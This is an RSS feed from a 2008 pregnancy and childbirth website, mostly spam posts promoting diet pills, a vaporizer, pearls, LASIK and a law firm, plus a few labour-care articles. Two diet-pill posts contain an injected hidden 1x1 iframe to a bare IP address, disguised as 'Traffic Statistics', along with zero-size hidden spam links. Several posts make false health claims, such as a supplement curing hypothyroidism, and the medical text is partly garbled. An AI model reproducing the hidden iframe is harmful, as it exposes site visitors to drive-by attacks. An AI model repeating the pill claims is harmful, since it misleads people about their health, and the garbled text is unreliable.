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	<title>Pregnancy Child Birth</title>
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	<description>Guide to Pregnancy and Child Birth tips about coping up with pregnancy complications and defects.</description>
	<pubDate>Tue, 29 Jul 2008 21:34:53 +0000</pubDate>
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		<title>Getting slimmer is just a mouse-click away!</title>
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		<pubDate>Sat, 19 Apr 2008 10:01:21 +0000</pubDate>
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<category>diet pills</category><category>weight loss</category>
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		<description><![CDATA[Are you online searching for the right diet pill? Then you are not away from unveiling the greatest truth of the fitness world! Your sexy figure will soon mesmerize the world if you go for the best rated &#1082;&#1086;&#1084;&#1087;&#1102;&#1090;&#1088;&#1080;diet pills to make you slimmer. While doing so, taking professional help also may help you but [...]<script type="text/javascript">SHARETHIS.addEntry({ title: "Getting slimmer is just a mouse-click away!", url: "http://www.pregnancychildbirth.org/health-care/getting-slimmer-is-just-a-mouse-click-away" });</script>]]></description>
			<content:encoded><![CDATA[<p>Are you online searching for the right diet pill? Then you are not away from unveiling the greatest truth of the fitness world! Your sexy figure will soon mesmerize the world if you go for the best rated <a href="http://www.sueshealthcenter.com/" target="_blank"><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://kvantservice.com/">&#1082;&#1086;&#1084;&#1087;&#1102;&#1090;&#1088;&#1080;</a></font>diet pills</a> to make you slimmer. While doing so, taking professional help also may help you but if you want to be self-reliant, you better go for natural products without any side effects to avoid any hassles later.</p>
<p>The <a href="http://www.sueshealthcenter.com/otherproducts.html" target="_blank">Nueslim</a> diet pills are such pills that will help you get back into shape faster than other pills available in the market. These are the most effective yet most affordable diet pills available today. They are available also without doctors’ prescription and come with life time<!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> money back guarantee.</p>
<p>You definitely do not want to add to your obesity woes by opting for products that have harsher ingredients in them, thus burdening the body with heavy things. Going natural helps people when it comes to weight loss. If they also follow certain guidelines of diet and exercise, they get amazing results. However with Nueslim, you need not be very strict regarding your diet and exercise. Even without them, people have gained good results within stipulated time frame. It is definitely good for lazy people like you and me!</p>
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		<title>Take plunge on to a fitness regime effectively with Lipovarin!</title>
		<link>http://www.pregnancychildbirth.org/health-care/take-plunge-on-to-a-fitness-regime-effectively-with-lipovarin</link>
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		<pubDate>Fri, 11 Apr 2008 11:15:28 +0000</pubDate>
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<category>appetite suppressant</category><category>exercise habits</category><category>fitness enthusiasts</category>
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		<description><![CDATA[Have you seen an aunty climbing the steps of gym everyday and coming out with frowned look, as she is recurrently failing to see the results on weighing machine? Well, do you know how many days she has been to gym? Whole 10 days! Jokes apart, we know that no one can achieve consistent results [...]<script type="text/javascript">SHARETHIS.addEntry({ title: "Take plunge on to a fitness regime effectively with Lipovarin!", url: "http://www.pregnancychildbirth.org/health-care/take-plunge-on-to-a-fitness-regime-effectively-with-lipovarin" });</script>]]></description>
			<content:encoded><![CDATA[<p>Have you seen an aunty climbing the steps of gym everyday and coming out with frowned look, as she is recurrently failing to see the results on weighing machine? Well, do you know how many days she has been to gym? Whole 10 days! Jokes apart, we know that no one can achieve consistent results during his or her <a href="http://www.theultimateweightlosssecret.com/" target="_blank">weight loss</a> regime if they are not regular as regards their diet and exercise habits. When there is discipline and eager desire to achieve good results, the efforts should be combines with a good diet supplement to reduce weight.</p>
<p>That’s why most fitness enthusiasts trust brands like Lipovarin. They know that if they want to reduce substantial amounts in short period of time, there is no alternative to lipovarin. Possessing powerful thermogenic properties, <a href="http://theultimateweightlosssecret.com/appetite-suppressants/lipovarin-weight-loss-supplement-under-the-microscope/" target="_blank">Lipovarin</a> is also an appetite suppressant. Advantra Z present in Lipovarin burns fats to a great extent and stimulates body’s beta 3 receptors to do the same. This therefore does not give rise to any unwanted<!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> side effects as in Ephedra. Thyroid induced weight gain is also a frequent cause of obesity among many people, especially women. The 7-keto present in Lipovarin increases T3 levels thus abolishing hypothyroidism and results in weight loss.</p>
<p>Metabromine in Lipovarin suppresses appetite greatly and Glucuronolactone removes toxic wastes from body. Also, green tea, taurine etc help achieve <a href="http://www.healthypeople.gov/">healthy</a> metabolism that yields maximum energy. Thus, ensuring a charm that is long lost can be effectively achieved through Lipovarin, if aptly combined with regular diet and exercise habits. You don’t want to be the next Aunty gasping for breath!</p>
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		<title>Volcano vaporizer: latest technology to quit smoking!</title>
		<link>http://www.pregnancychildbirth.org/health-care/treat-your-illnesses-with-volcano-vaporizer</link>
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		<pubDate>Tue, 01 Apr 2008 11:01:31 +0000</pubDate>
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<category>health care</category><category>herbal medicines</category><category>herbs</category><category>medical diseases</category><category>volcano vaporizer</category>
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		<description><![CDATA[Are you desperate to quit smoking because it is exerting bad effect on your children who are growing up with you? Well, you are in the right direction then. Just you need the effective way to do so. Go through the reviews of volcano vaporizer and you will understand why it is one of the [...]<script type="text/javascript">SHARETHIS.addEntry({ title: "Volcano vaporizer: latest technology to quit smoking!", url: "http://www.pregnancychildbirth.org/health-care/treat-your-illnesses-with-volcano-vaporizer" });</script>]]></description>
			<content:encoded><![CDATA[<p>Are you desperate to quit smoking because it is exerting bad effect on your children who are growing up with you? Well, you are in the right direction then. Just you need the effective way to do so. Go through the reviews of <a href="http://www.gotvape.com/store/volcano.vaporizer.php">volcano vaporizer</a> and you will understand why it is one of the best ways to quit smoking.</p>
<p><a href="http://www.gotvape.com/">Vaporizer</a> is the latest revolution among newer <a href="http://en.wikipedia.org/wiki/Technology">technologies</a>, in which the substance you want to inhale is delivered into the system more directly and more precisely without creating hazardous smokes. Inhaling or smoking is always a better alternative to swallowing tablets or absorption through skin. So, if you try an herbal medicine put into this vaporizer and inhale its fragrance, you will avail yourself amazing benefits of that herb without subjecting yourself to the harmful gases.</p>
<p>This way you can add fragrance to your home surroundings as well. Also you can add fragrance to the recipe you cook in your leisure. Don’t be surprised. Many chefs are using this vaporizer to add flavors to their cuisines. That’s why vaporizer is hot favorite among people who like to associate their lives with some kind of fragrance. When you come back from heavy work schedule, you will definitely like to have herbal smoking that will rejuvenate you to carry on your home chores! Try this out!</p>
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		<title>Avail great discounts on priceless pearls!</title>
		<link>http://www.pregnancychildbirth.org/articles/avail-great-discounts-on-priceless-pearls</link>
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		<pubDate>Sat, 29 Mar 2008 07:25:37 +0000</pubDate>
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		<description><![CDATA[Pearls have been close to hearts of people since long and will remain so till eternity. The dazzling pearl jewelry has always been proud possession of elite class. Well, with the changing times, even common man is now able to afford pearls, with fabulous discounts in online pearl shops. No need to even hit the [...]<script type="text/javascript">SHARETHIS.addEntry({ title: "Avail great discounts on priceless pearls!", url: "http://www.pregnancychildbirth.org/articles/avail-great-discounts-on-priceless-pearls" });</script>]]></description>
			<content:encoded><![CDATA[<p>Pearls have been close to hearts of people since long and will remain so till eternity. The dazzling <a href="http://www.pearlsofjoy.com/" target="_blank">pearl jewelry</a> has always been proud possession of elite class. Well, with the changing times, even common man is now able to afford pearls, with fabulous discounts in online pearl shops. No need to even hit the malls for this precious purchase. Just go online with the click of your mouse and avail great discounts as never before. Why only elite class should be able to enjoy luxury? Luxury is in thoughts and pearls are an apt expression of your luxurious indulgence.</p>
<p>Wide variety of pearl jewelry is available that makes people go crazy for these lustrous pearls. People are even ready to go overboard when it comes to gifting pearls to someone special. After all, love cannot be measured in money and when it comes to <a href="http://en.wikipedia.org/wiki/Pearl">pearls</a>, womenfolk are crazy. Your gesture of presenting pearls can go a long way in building stronger bond with your special person!</p>
<p>There are enormous varieties to please your eyes. Go online and venture through online galleries in order to satiate your desire to see the fabulous collection. No wonder if you end up having your own pearl collection after viewing them. Certain <a href="http://www.pearlsofjoy.com/index.asp?PageAction=VIEWCATS&amp;Category=4" target="_blank">pearl earrings</a> and bracelets formed of different colors of pearls are mind blowing and it requires amazing strength to resist temptation of buying more than one pair. Don’t worry, with the fabulous discounts, you can definitely do so without hassles!</p>
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		<title>Lasik South Dakota: A center for embarking on afresh vision</title>
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		<pubDate>Tue, 04 Mar 2008 14:32:43 +0000</pubDate>
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		<description><![CDATA[Getting anew  vision is possible now with lasik surgery. It won’t be an exaggeration  if we say that the lasik surgery gives your eyesight a rebirth! A few  years earlier, though this procedure was available, it was not affordable  then to the common man. But with the medical revolution and newer [...]<script type="text/javascript">SHARETHIS.addEntry({ title: "Lasik South Dakota: A center for embarking on afresh vision", url: "http://www.pregnancychildbirth.org/health-care/lasik-south-dakota-a-center-for-embarking-on-afresh-vision" });</script>]]></description>
			<content:encoded><![CDATA[<p>Getting anew  vision is possible now with lasik surgery. It won’t be an exaggeration  if we say that the lasik surgery gives your eyesight a rebirth! A few  years earlier, though this procedure was available, it was not affordable  then to the common man. But with the medical revolution and newer techniques,  the miraculous lasik eye surgery is available to the masses now. The <a href="http://www.vancethompsonvision.com">lasik South Dakota</a> is a live example of it. The center has provided  relief to thousands of patients through the expert services there.</p>
<p>Most people  like to find a lasik institute by searching online for a lasik institute  in their province and then deciding the surgeon. Well, as we can understand,  finalizing your surgeon is the most important step in any successful  surgery and lasik is no exception. Patients nowadays also try to find  out doctor’s credentials, his past records, his experience, and total  cost. As far as the cost of lasik surgery is concerned, it depends largely  upon the investment done for the instruments and set up of the hospital.  But be more precise while deciding the hospital, as you should be aware  of price of accessories, patient acquisition cost, etc.</p>
<p>But the fresh  vision you get after lasik in <a href="http://en.wikipedia.org/wiki/South_Dakota">South Dakota</a> is worth the cost no doubt.  Embark on the journey of beautiful vision through the lasik surgery  without delay!</p>
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		<title>Beware of medical malpractice in Philadelphia: you can get justice!</title>
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		<pubDate>Tue, 04 Mar 2008 14:29:37 +0000</pubDate>
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<category>accidents</category><category>alarming facts</category><category>birth injuries</category><category>doctors</category><category>health care</category><category>health care professional</category><category>judicial processes</category><category>medical malpractice</category>
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		<description><![CDATA[Deviation from  the applicable standards of care by a health-care professional that  causes injury to the patient is termed as medical malpractice. It is  definitely a serious concern and liable to legal action. The whole community  looks at the health-care community as the centers of rescue from ill-health.  So, the [...]<script type="text/javascript">SHARETHIS.addEntry({ title: "Beware of medical malpractice in Philadelphia: you can get justice!", url: "http://www.pregnancychildbirth.org/health-care/beware-of-medical-malpractice-in-philadelphia-you-can-get-justice" });</script>]]></description>
			<content:encoded><![CDATA[<p>Deviation from  the applicable standards of care by a health-care professional that  causes injury to the patient is termed as medical malpractice. It is  definitely a serious concern and liable to legal action. The whole community  looks at the health-care community as the centers of rescue from ill-health.  So, the <a href="http://en.wikipedia.org/wiki/Health_care">health care</a> faculty needs to be utmost careful and avoid negligence  in any case.</p>
<p>The investigations  regarding the <a href="http://www.ppl-law.com/medical_malpractice.html">Medical malpractice in  Philadelphia</a> put forth some alarming facts that the serious negligence  by the healthcare professionals is far more common than thought of.  Many of the cases are suppressed or go unnoticed too. Misdiagnosis is  by far the largest cause of malpractice. The doctors, who cannot diagnose  the case properly because of any reason, fail to have another opinion  by senior doctor and thus, the patient suffers.</p>
<p>During surgery  too, because of improper sterilization, many errors occur that lead  to severe infections. Birth injuries or labor accidents are also pretty  common than though of. Some patients are not aware of the judicial processes  that can tackle the negligence suffered by your near and dear ones.  When you are sure that your loved ones have succumbed to serious malpractice  of <a href="http://en.wikipedia.org/wiki/Kuwait_Medical_Professionals">medical professionals</a>, bring forth this issue and you will get justice!</p>
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		<title>The Timing of Prenatal Visits</title>
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		<pubDate>Fri, 29 Feb 2008 11:16:07 +0000</pubDate>
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		<description><![CDATA[For many years, practitioners have scheduled prenatal visits on a monthly basis until about 7112 or 8 months (30 or 32 weeks), followed by visits at 2 or 3 week intervals until the last month (36 weeks), when they become weekly. Some practitioners vary this schedule by seeing women every 3 weeks between 6 and [...]<script type="text/javascript">SHARETHIS.addEntry({ title: "The Timing of Prenatal Visits", url: "http://www.pregnancychildbirth.org/care-before-pregnancy/the-timing-of-prenatal-visits" });</script>]]></description>
			<content:encoded><![CDATA[<p>For many years, practitioners have scheduled prenatal visits on a monthly basis until about 7112 or 8 months (30 or 32 weeks), followed by visits at 2 or 3 week intervals until the last month (36 weeks), when they become weekly. Some practitioners vary this schedule by seeing women every 3 weeks between 6 and 7 months, which adds one additional visit (i.e., visits at 24, 27, 30, and then 32 weeks, instead of 24, 28, and 32 weeks). Women following one of these schedules have between 12 and 15 prenatal visits. The Expert Panel on the Content of Prenatal Care questioned the value of such frequent care and recommended fewer visits for women with healthy pregnancies.For multiparous women - women who have already had a baby. The recommendations allowed the second visit to be a telephone contact. In our experience, few if any providers have actually adopted dill pregnancy visit schedule. We provide it here to demonstrate that the timing of visits in pregnancy can be flexible. We must emphasize thaI a reduced number of visits in pregnancy is safe only when certain conditions are met:</p>
<p>•  The pregnancy must be normal and free from risk; other­wise, visits must be more frequent. They must become more frequent if the pregnancy changes from normal to<img src="http://www.pregnancychildbirth.org/wp-content/uploads/2007/09/visit-timing.jpg" title="The Timing of Prenatal Visits" ilo-full-src="http://www.pregnancychildbirth.org/wp-content/uploads/2007/09/visit-timing.jpg" alt="The Timing of Prenatal Visits" align="right" /> abnormal. Risks include, for example, preexisting diseases, such as high blood pressure, diabetes, sickle-cell anemia, blood clotting disorders, and severe asthma, pregnancy-induced diseases such as gestational diabetes or pregnancy-induced hypertension a previous poor pregnancy outcome, such as a premature or low birth weight baby, a poorly growing fetus; problems with the placentaor the development of signs of preterm labor.</p>
<p>•  Extensive health education must be provided at each visit. focusing especially on danger signs to report before the next visit</p>
<p>•  Childbirth education classes must be offered-either a series of five or six classes or two refresher classes for women who attended a series in a previous pregnancy. If a woman does not choose to attend classes, then more frequent prenatal visits should be considered.</p>
<p>•  Support services such as smoking cessation programs and psychological counseling must be available as integral pam of prenatal care whenever needed.</p>
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		<title>Oxytocin Pheromones for Women</title>
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		<pubDate>Fri, 22 Feb 2008 08:59:34 +0000</pubDate>
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		<description><![CDATA[Continuous Monitoring
With continuous monitoring, your baby and contractions are monitored almost all the time. However in most cases, there is no reason why you cannot stand, sit, or squat with the monitors in position. Some hospitals have equipment that allows you to walk around as much as you want and to be monitored by radio [...]<script type="text/javascript">SHARETHIS.addEntry({ title: "Oxytocin Pheromones for Women", url: "http://www.pregnancychildbirth.org/child-birth/oxytocin" });</script>]]></description>
			<content:encoded><![CDATA[<h2>Continuous Monitoring</h2>
<p>With continuous monitoring, your baby and contractions are monitored almost all the time. However in most cases, there is no reason why you cannot stand, sit, or squat with the monitors in position. Some hospitals have equipment that allows you to walk around as much as you want and to be monitored by radio signal.</p>
<h2>Pros And Cons</h2>
<p>With continuous electronic fetal monitoring you are more likely to end up having cesarean delivery or a forceps or vacuum delivery. The reason is that your care provider may see changes in your baby&#8217;s heart rate that are a cause for concern. Unfortunately, it is impossible to know the cause of many heart rate abnormalities it may be something minor or it may indicate a fall in oxygen levels, which is potentially serious. No one wants to take any risks with your baby, so a cesarean delivery will usually be recommended. If the fetal heart rate changes happen while you are pushing, a forceps or vacuum delivery may be recommended to you. As well as increasing your risk of cesarean, the belts may be uncomfortable during labor. The benefits of electronic fetal monitoring are not completely clear, although experts agree that continuous monitoring reduces the small chance that your baby will have a seizure after birth. Seizures are one symptom of brain injury from low oxygen. Most hospitals have policies requiring a minimum of intermittent fetal monitoring. You can refuse electronic monitoring, but expect your care providers and the hospital staff to be unhappy about this. You may be asked to sign a statement releasing them from liability if your baby dies or develops cerebral palsy.</p>
<h2>Scalp Electrode</h2>
<p>A scalp electrode is another way to monitor your baby&#8217;s heart rate electronically. Instead of listening through your skin and uterus a small wire is placed in your baby&#8217;s scalp. The scalp electrode is placed during a vaginal exam and will not feel uncomfortable. It is used if your care provider is concerned about your baby&#8217;s heart rate or can not get a good signal using an external monitor.</p>
<h2>Disadvantages</h2>
<p>The risks to your baby are small. There is a small risk that your baby can get a scalp infection, which can be treated with antibiotics. Your care provider or nurse should discuss the scalp electrode with you before it is placed, and you should understand why it is being done. Once a scalp electrode has been placed you cannot move far from the heart rate monitor, although you should be able to change labor positions.</p>
<h2>Intrauterine Catheter</h2>
<p align="justify">An intrauterine catheter is usually placed to measure the strength of your contractions (the external monitor can only record how often they are). If you are more than 4cm dilated, you should be in active labor this means that your cervix should usually be opening by 1cm more each hour. If labor is not progressing and your contractions are less frequent than every 2-3 minutes, your care provider will probably give you oxytocin (right), and an internal monitor is not necessary. If you are having frequent contractions, but your cervix is not changing, it may be because your contractions are weak. At this point, your care provider may recommend an intrauterine catheter to measure the strength of your contractions to help determine how much oxytocin to give you. A uterine catheter is a thin flexible tube that is usually placed during a vaginal exam it is not particularly painful, and you will probably not notice it after it is inserted. Although the risks of a uterine catheter are low, they should not be used routinely. You should be told when a uterine catheter is being placed and be told why it is being done.</p>
<h2>Speeding up Labor</h2>
<p align="justify">If you are in active labor but your cervix is not continuing to dilate (open) as expected, your care provider may suggest your labor be speeded up (augmented) by one of two ways, breaking the amniotic sac (amniotomy), or oxytocin. The chances of you needing this intervention is higher as you get older, especially if this is your first pregnancy and your uterus hasn&#8217;t had previous practice.</p>
<h2>Amniotomy</h2>
<p align="justify">Breaking the bag of waters (amniotomy) is painless and not likely to be harmful to you or your baby. It can shorten the time you are in labor by 1-2 hours. It can also significantly decrease the chance that you will need oxytocin in labor. However, it does not decrease the risk of cesarean delivery. In first time mothers, breaking the waters is probably safest when it is done in active labor (after the cervix has dilated at least 4cm). If you have already had a vaginal delivery, amniotomy is safe during the earlier stages and can even be used to put you in to labor. To release the amniotic fluid, your care provider will do a vaginal exam, during which he or she should be able to feel the bag of water through your cervix. Using a plastic instrument with a hooked end, your provider will make a small hole in the amniotic membrane, allowing the amniotic fluid to leak out.</p>
<h2>Oxytocin</h2>
<p>Oxytocin is a synthetic form of a natural substance released from your pituitary gland. Oxytocin is usually given during established labor because contractions are too infrequent or too weak for labor to progress effectively. (It is also used to induce labor). Once you are in active labor (when the cervix has dilated to at least 4cm), most care providers like to see that the cervix is dilating by at least 1cm an hour.</p>
<p align="justify">Women over 35 are more likely to need oxytocin during labor to keep labor progressing. Once you start receiving oxytocin, you must be hooked up to an IV pole. Some women worry that contractions will be too strong and too painful after oxytocin. One way to look at this is that the weaker contractions aren&#8217;t doing you much good. If you have to be in pain, it&#8217;s better to have the pain be effective in dilating your cervix. You are more likely to need oxytocin after epidural analgesia, but in this case you won&#8217;t reel the stronger contractions. Oxytocin is usually started at a low dose and increased over a period of time. If contractions become too strong or too frequent, the dose can be turned down and the oxytocin quickly clears from your system. Used correctly, oxytocin is safe and can reduce the chance that you will need a cesarean delivery. Oxytocin is also commonly given after you have delivered to decrease vaginal bleeding and keep the uterus firm.</p>
<h2>Episiotomy</h2>
<p>Episiotomy is a cut that your care provider makes at the vaginal opening to help deliver your baby more quickly. Episiotomy used to be performed routinely, but doctors now understand that it can cause more severe tearing than allowing a tear to occur on its own. However, if your baby is in distress and needs to be delivered quickly, an episiotomy may be necessary.</p>
<p align="justify">The cut is either toward your rectum (midline) or toward the back of your thigh (mediolateral). Midline episiotomy more than doubles the chance of a serious tear in to the tissues surrounding your rectum or in to your rectum it self. Mediolateral episiotomy does not increase the risk of rectal tearing, although recovery can be painful. Tearing in to the rectal muscles or in to the rectum doubles your chances of having fecal incontinence (losing control of bowel movements). You may also have problems controlling gas. Both are difficult to correct surgically. Despite active campaigns to educate care providers, episiotomy was still performed in about 33 percent of women in 2000. Given the potential long term risks after episiotomy, it is in your best interest to talk seriously with your care provider early in pregnancy about this important topic. Episiotomies are repaired similarly to regular obstetric tears.</p>
<h2>Forceps Delivery</h2>
<p>Forceps are metal paddles that are used to guide the baby&#8217;s head out from the vagina. In general, forceps are not harmful for your baby, although birth injuries can very rarely occur. However, the use of forceps does have substantial risks for you, increasing your chances of having a significant tear in to the rectal muscles. This then increases your chances of incontinence of gas or stool (losing control of bowel movements). The risk of significant tear after forceps delivery is 30 percent in first time moms. Despite these risks, forceps may be needed if your baby has signs of distress at the end of labor a forceps delivery can get your baby out much more quickly than a cesarean. If forceps delivery is being offered to shorten the pushing stage, or because you are very tired, you may want to consider the risks. You have the option of continuing to push, or you can ask for a cesarean delivery to prevent possible rectal damage.</p>
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		<title>Therapeutic Boarding Schools</title>
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		<pubDate>Sat, 16 Feb 2008 11:15:33 +0000</pubDate>
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<category>adolescents</category><category>Articles</category><category>boarding school</category><category>boarding schools</category><category>physical health</category><category>school environment</category>
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		<description><![CDATA[Therapeutic boarding schools are meant for providing environment for the growth of your adolescents. Therapeutic boarding schools offers challenging and supportive boarding school environment to your child that helps in the personal growth of your child. Therapeutic boarding  schools offer programs for your child whom you are not properly able  to care because [...]<script type="text/javascript">SHARETHIS.addEntry({ title: "Therapeutic Boarding Schools", url: "http://www.pregnancychildbirth.org/articles/therapeutic-boarding-schools" });</script>]]></description>
			<content:encoded><![CDATA[<p>Therapeutic boarding schools are meant for providing environment for the growth of your adolescents. Therapeutic boarding schools offers challenging and supportive boarding school environment to your child that helps in the personal growth of your child. <a href="http://www.threesprings.com/therapeutic-boarding-school.html">Therapeutic boarding  schools</a> offer programs for your child whom you are not properly able  to care because of their rebellious, uncontrollable behavior. Aims of  the Therapeutic boarding schools are providing an effective adolescent  treatment programs that helps your child in growth. They provide education  with special treatment programs for adolescent and that programs are examined by caring and brilliant practitioners. Those practitioners know that how to control and care the child suffering  from the varying behaviors problems.</p>
<p>Therapeutic boarding schools  provides very caring, healthy environment for the girls who wants to growth but need emotional support. This school provides education up to 12 grades to make adolescent independent. Therapeutic boarding schools looks after every enhancement  of your adolescent such as mental growth, physical growth, spiritual healing.</p>
<p>Therapeutic boarding schools follows varies strategies to enhance mental,  physical conditions. To enhance the mental condition of your child we  provides different modular approach to let your child understand the  real world. We emphasize on providing visual pattern to teach adolescent  so that they can easily grab whatever what we teach them.</p>
<p>Most of the adolescent comes in Therapeutic boarding schools with very  poor physical condition. We first have to improve their physical conditions  because healthier minds always stay in healthier body. The better way  to improve the physical health is exercise. We follow very simple and  effective exercises to strengthen physical condition. We make exercise  programs as fun so that adolescent can enjoy and with that their physical  condition will improve.</p>
<p>Along  with emphasizing on exercise, we provide better feeding strategies according  to the requirement of your child.<br />
We also emphasize on improving challenge acceptance skills of adolescents.  We provide them with varies real life strategies, helps them understanding  that strategies and provide them proper directions to deal with such  challenging conditions that helps in making your child fit to survive  and lead.</p>
<p>We provides them varies cultural programs to create positive attitude  in them that will help them healing their problem very soon. Our goal  is to provide you and your child with better present and future.</p>
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		<title>The Enigma of When the Fetus First Becomes a Living Being</title>
		<link>http://www.pregnancychildbirth.org/pregnancy/the-enigma-of-when-the-fetus-first-becomes-a-living-being</link>
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		<pubDate>Fri, 15 Feb 2008 09:18:50 +0000</pubDate>
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		<description><![CDATA[Legalizing elective abortion has had the consequence of reviving discussions on when life begins. In many cultures and in a number of religions, life is not considered to begin until either the mother becomes aware of independent fetal movement or at some other time when ensoulment is assumed to have taken place. Others who have [...]<script type="text/javascript">SHARETHIS.addEntry({ title: "The Enigma of When the Fetus First Becomes a Living Being", url: "http://www.pregnancychildbirth.org/pregnancy/the-enigma-of-when-the-fetus-first-becomes-a-living-being" });</script>]]></description>
			<content:encoded><![CDATA[<p>Legalizing elective abortion has had the consequence of reviving discussions on when life begins. In many cultures and in a number of religions, life is not considered to begin until either the mother becomes aware of independent fetal movement or at some other time when ensoulment is assumed to have taken place. Others who have thought about this consider that human life begins with the union of the sperm and egg and the reestablishment of the normal number of chromosomes and therefore the potential of a unique human being. For still others this is not the beginning of life, since a free-floating structure such as a fertilized egg must accomplish implantation in the wall of the mother&#8217;s uterus before developing the true potential of independent existence. Another large group of people believes that life commences only at the point when the fetus is able to maintain an independent existence. At present, with the best available perinatal care,<img src="http://www.pregnancychildbirth.org/wp-content/uploads/2007/09/the-enigma.jpg" title="The Enigma of When the Fetus First Becomes a Living Being" ilo-full-src="http://www.pregnancychildbirth.org/wp-content/uploads/2007/09/the-enigma.jpg" alt="The Enigma of When the Fetus First Becomes a Living Being" align="right" /> this is around the twenty-fourth week of pregnancy. About 50 percent of fetuses of this developmental age today survive to adulthood. Many other people believe that the fetus achieves life only when it is actually born and has left its mother&#8217;s body.</p>
<p align="left">Our own conviction is that the only scientific resolution to all this is that life is a continuum, that the sperm and the unfertilized egg are living structures like any cells, and that, although their union creates a potentially unique individual, it does not create life. Unfortunately, we doubt that the social and political issues that are related to this discussion will be resolved on a scientific basis.</p>
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